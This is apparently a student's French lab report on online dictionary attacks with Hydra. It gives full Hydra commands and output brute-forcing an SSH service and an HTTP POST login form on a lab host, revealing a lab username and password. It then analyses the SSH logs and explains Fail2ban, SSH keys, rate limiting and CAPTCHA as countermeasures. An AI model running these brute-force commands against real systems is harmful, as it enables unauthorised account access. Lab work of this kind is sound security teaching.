Rapport TP 3:
Attaques en Ligne et Sécurité de l’Authentification (Hydra)

Realisee par :24227

Partie I : Attaque SSH par Dictionnaire

1)l'attaque hydra a était faite avec succès avec la commande suivante:

hydra -L users.txt -P passwords.txt -s 2222 -V ssh://192.168.9.6

```
root@mouhidin-HP-Laptop-15s:/etc/wireguard# hydra -L users.txt -P passwords.txt -s 2222 -V ssh://192.168.9.6
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anywa

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-10 09:07:35
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 21 login tries (l:3/p:7), ~2 tries per task
[DATA] attacking ssh://192.168.9.6:2222/
[ATTEMPT] target 192.168.9.6 - login "testuser" - pass "123456" - 1 of 21 [child 0] (0/0)
[ATTEMPT] target 192.168.9.6 - login "testuser" - pass "password" - 2 of 21 [child 1] (0/0)
[ATTEMPT] target 192.168.9.6 - login "testuser" - pass "admin" - 3 of 21 [child 2] (0/0)
[ATTEMPT] target 192.168.9.6 - login "testuser" - pass "password123" - 4 of 21 [child 3] (0/0)
[ATTEMPT] target 192.168.9.6 - login "testuser" - pass "qwerty" - 5 of 21 [child 4] (0/0)
[ATTEMPT] target 192.168.9.6 - login "testuser" - pass "letmein" - 6 of 21 [child 5] (0/0)
[ATTEMPT] target 192.168.9.6 - login "testuser" - pass "supnum" - 7 of 21 [child 6] (0/0)
[ATTEMPT] target 192.168.9.6 - login "admin" - pass "123456" - 8 of 21 [child 7] (0/0)
[ATTEMPT] target 192.168.9.6 - login "admin" - pass "password" - 9 of 21 [child 8] (0/0)
[ATTEMPT] target 192.168.9.6 - login "admin" - pass "admin" - 10 of 21 [child 9] (0/0)
[ATTEMPT] target 192.168.9.6 - login "admin" - pass "password123" - 11 of 21 [child 10] (0/0)
[ATTEMPT] target 192.168.9.6 - login "admin" - pass "qwerty" - 12 of 21 [child 11] (0/0)
[ATTEMPT] target 192.168.9.6 - login "admin" - pass "letmein" - 13 of 21 [child 12] (0/0)
[ATTEMPT] target 192.168.9.6 - login "admin" - pass "supnum" - 14 of 21 [child 13] (0/0)
[ATTEMPT] target 192.168.9.6 - login "rss" - pass "123456" - 15 of 21 [child 14] (0/0)
[ATTEMPT] target 192.168.9.6 - login "rss" - pass "password" - 16 of 21 [child 15] (0/0)
[ATTEMPT] target 192.168.9.6 - login "rss" - pass "admin" - 17 of 21 [child 0] (0/0)
[ATTEMPT] target 192.168.9.6 - login "rss" - pass "password123" - 18 of 21 [child 2] (0/0)
[ATTEMPT] target 192.168.9.6 - login "rss" - pass "qwerty" - 19 of 21 [child 1] (0/0)
[ATTEMPT] target 192.168.9.6 - login "rss" - pass "letmein" - 20 of 21 [child 4] (0/0)
[ATTEMPT] target 192.168.9.6 - login "rss" - pass "supnum" - 21 of 21 [child 5] (0/0)
[2222][ssh] host: 192.168.9.6   login: rss   password: supnum
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-10 09:07:48
root@mouhidin-HP-Laptop-15s:/etc/wireguard#
```

Le login est :rss.

Le password est:supnum.

2)analyse:

1. Tentatives infructueuses sur un utilisateur inexistant

- **Log :** Invalid user sysadmin from 192.168.8.2
- **Interprétation :** L'attaquant (IP 192.168.8.2) tente de se connecter avec l'identifiant **"sysadmin"**. Le système rejette la demande car cet utilisateur n'existe pas sur le serveur.
- **Observation :** On voit plusieurs erreurs consécutives (Failed password for invalid user), ce qui caractérise une phase d'énumération d'utilisateurs.

2. Tentatives infructueuses sur un utilisateur existant

- **Log :** Failed password for rss from 192.168.8.2
- **Interprétation :** L'attaquant a changé de stratégie et tente maintenant de forcer le compte de l'utilisateur **"rss"**. Ici, l'utilisateur existe dans le système, mais le mot de passe fourni est incorrect.

3. Succès de l'attaque

- **Log :** Accepted password for rss from 192.168.8.2 port 35156 ssh2

- **Interprétation :** C'est le point critique. L'attaquant a finalement trouvé le bon mot de passe pour l'utilisateur **"rss".** L'authentification est réussie et une session SSH a été ouverte.

3) Fail2ban offre une protection robuste face aux attaques automatisées, notamment les attaques par force brute, **en surveillant en temps réel les fichiers journaux du système pour détecter des tentatives de connexion échouées répétées**. Lorsqu'un certain seuil de tentatives infructueuses est atteint, généralement défini par le paramètre `maxretry`, Fail2ban déclenche une action automatique, comme l'ajout de l'adresse IP suspecte à une règle de pare-feu via iptables ou nftables, ce qui bloque temporairement ou définitivement l'accès depuis cette IP. Ce mécanisme est particulièrement efficace contre les bots et scripts malveillants qui lancent des dizaines, voire des milliers de tentatives de connexion sur des services comme SSH, FTP ou des serveurs web. En limitant ainsi la portée des attaques répétées, Fail2ban réduit non seulement le risque de compromission des services, mais aussi la surcharge des logs système et la consommation de bande passante. De plus, sa flexibilité permet de configurer des filtres personnalisés et des actions spécifiques, comme l'envoi d'alertes par e-mail ou le blocage de requêtes contenant des chaînes spécifiques, comme des adresses e-mail dans les charges utiles HTTP. Cette capacité à s'adapter à différents types de services et menaces, combinée à une intégration directe avec les outils de pare-feu natifs du système, en fait un outil essentiel dans une stratégie de sécurité globale.

Partie II : Attaque sur Formulaire HTTP POST

1)Lancement de l'attaque Web avec la commande:

hydra -V -L users.txt -P passwords.txt 192.168.9.6 -s 8080 http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"

```
root@mouhidin-HP-Laptop-15s:/etc/wireguard# hydra -V -L users.txt -P passwords.txt 192.168.9.6 -s 8080 http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anywa

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-10 09:49:02
[DATA] max 16 tasks per 1 server, overall 16 tasks, 21 login tries (l:3/p:7), ~2 tries per task
[DATA] attacking http-post-form://192.168.9.6:8080/login:username=^USER^&password=^PASS^:Invalid credentials
[ATTEMPT] target 192.168.9.6 - login "testuser" - pass "123456" - 1 of 21 [child 0] (0/0)
[ATTEMPT] target 192.168.9.6 - login "testuser" - pass "password" - 2 of 21 [child 1] (0/0)
[ATTEMPT] target 192.168.9.6 - login "testuser" - pass "admin" - 3 of 21 [child 2] (0/0)
[ATTEMPT] target 192.168.9.6 - login "testuser" - pass "password123" - 4 of 21 [child 3] (0/0)
[ATTEMPT] target 192.168.9.6 - login "testuser" - pass "qwerty" - 5 of 21 [child 4] (0/0)
[ATTEMPT] target 192.168.9.6 - login "testuser" - pass "letmein" - 6 of 21 [child 5] (0/0)
[ATTEMPT] target 192.168.9.6 - login "testuser" - pass "supnum" - 7 of 21 [child 6] (0/0)
[ATTEMPT] target 192.168.9.6 - login "admin" - pass "123456" - 8 of 21 [child 7] (0/0)
[ATTEMPT] target 192.168.9.6 - login "admin" - pass "password" - 9 of 21 [child 8] (0/0)
[ATTEMPT] target 192.168.9.6 - login "admin" - pass "admin" - 10 of 21 [child 9] (0/0)
[ATTEMPT] target 192.168.9.6 - login "admin" - pass "password123" - 11 of 21 [child 10] (0/0)
[ATTEMPT] target 192.168.9.6 - login "admin" - pass "qwerty" - 12 of 21 [child 11] (0/0)
[ATTEMPT] target 192.168.9.6 - login "admin" - pass "letmein" - 13 of 21 [child 12] (0/0)
[ATTEMPT] target 192.168.9.6 - login "admin" - pass "supnum" - 14 of 21 [child 13] (0/0)
[ATTEMPT] target 192.168.9.6 - login "rss" - pass "123456" - 15 of 21 [child 14] (0/0)
[ATTEMPT] target 192.168.9.6 - login "rss" - pass "password" - 16 of 21 [child 15] (0/0)
[ATTEMPT] target 192.168.9.6 - login "rss" - pass "admin" - 17 of 21 [child 13] (0/0)
[ATTEMPT] target 192.168.9.6 - login "rss" - pass "password123" - 18 of 21 [child 2] (0/0)
[ATTEMPT] target 192.168.9.6 - login "rss" - pass "qwerty" - 19 of 21 [child 3] (0/0)
[ATTEMPT] target 192.168.9.6 - login "rss" - pass "letmein" - 20 of 21 [child 4] (0/0)
[ATTEMPT] target 192.168.9.6 - login "rss" - pass "supnum" - 21 of 21 [child 5] (0/0)
[8080][http-post-form] host: 192.168.9.6   login: rss   password: supnum
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-10 09:49:10
root@mouhidin-HP-Laptop-15s:/etc/wireguard#
```

2) **1. Visibilité dans les Logs**

- **En SSH**, toute tentative, qu'elle soit faite par un utilisateur valide ou invalide, génère une ligne claire dans les journaux système. Comme vous l'avez vu dans l'exercice précédent, on identifie immédiatement l'IP et l'utilisateur visé.
- **En HTTP**, une attaque par dictionnaire peut passer inaperçue dans les logs serveurs car elle ressemble souvent à du trafic de navigation normal (requêtes POST avec un code 200 OK), sauf si l'analyste cherche spécifiquement une répétition de requêtes sur la page de login.

2. Mécanismes de Défense

- **SSH** : On peut facilement changer le port (ex: 2222), désactiver l'accès root, ou utiliser des clés SSH au lieu de mots de passe.
- **HTTP** : La protection repose souvent sur l'application elle-même : ajout d'un **Captcha**, limitation du nombre de tentatives par compte (verrouillage), ou utilisation d'un WAF (Web Application Firewall).

3. Impact d'une réussite

- Un accès **SSH** réussi donne généralement un contrôle direct sur la machine (shell).
- Un accès **HTTP** réussi donne accès aux données de l'utilisateur sur le portail (notes, infos personnelles), mais pas nécessairement à l'ensemble du serveur, sauf si l'application présente d'autres vulnérabilités.

Partie III: Analyse de Sécurité et Contremesures.

1. Pourquoi les attaques réussissent-elles ?

Les vulnérabilités exploitées lors de ce TP sont classiques mais critiques :

- **Mots de passe faibles** : L'utilisation de dictionnaires montre que si un mot de passe fait partie des listes les plus courantes, il sera trouvé en quelques secondes ou minutes.
- **Absence de verrouillage de compte** : Le serveur a permis à Hydra d'effectuer des centaines de tentatives sans jamais bloquer l'adresse IP de l'attaquant ni suspendre le compte visé.
- **Absence de MFA** : L'authentification ne repose que sur un seul facteur (le mot de passe). Une fois celui-ci découvert, l'accès est total.

2. Questions de Synthèse

Pourquoi Hydra est-il un outil d'attaque "en ligne" (online) ?

Hydra est classé comme un outil **"online"** car il interagit directement avec un service actif sur une machine distante.

- Contrairement à une attaque "offline" (où l'on tente de déchiffrer un hash de mot de passe volé sur sa propre machine), Hydra doit **communiquer en temps réel** avec le serveur cible pour chaque tentative.
- **Conséquence** : Chaque essai laisse une trace dans les logs du serveur et dépend de la vitesse de la connexion réseau.

Quelle méthode d'authentification (SSH ou HTTP) est la plus résiliente par défaut ?

Le **SSH** est généralement considéré comme plus résilient par défaut pour plusieurs raisons :

Standardisation : Le protocole SSH est conçu nativement pour la sécurité. Il intègre des mécanismes de chiffrement robustes et des logs système standardisés (auth.log) qui facilitent la surveillance.
Gestion des erreurs : Le service SSH rejette souvent plus fermement les connexions mal formées ou trop fréquentes.
Gestion des erreurs : Le service SSH rejette souvent plus fermement les connexions mal formées ou trop fréquentes.
Complexité du Web : Les formulaires HTTP dépendent entièrement de la manière dont le développeur a écrit le code. Une simple erreur de programmation (absence de limite de tentatives) rend l'application web très vulnérable.

Trois contremesures concrètes pour un serveur de production

Pour bloquer ces attaques par dictionnaire, voici les recommandations prioritaires :

-Mise en place de Fail2Ban : Ce service surveille les fichiers de logs (comme ceux que vous avez analysés) et bannit automatiquement via le pare-feu (iptables/nftables) toute adresse IP présentant trop d'échecs d'authentification en un temps donné.

-Utilisation de clés SSH (Désactivation des mots de passe) : Pour SSH, l'utilisation de clés privées/publiques rend les attaques par dictionnaire totalement inefficaces, car il n'y a plus de mot de passe à deviner.

-Implémentation d'un Verrouillage Progressif (Rate Limiting) : Sur l'application Web, ajouter un délai d'attente qui augmente après chaque échec (ex: 1s, puis 5s, puis 30s) ou forcer l'utilisation d'un **CAPTCHA** après 3 tentatives infructueuses pour bloquer les scripts automatisés comme Hydra.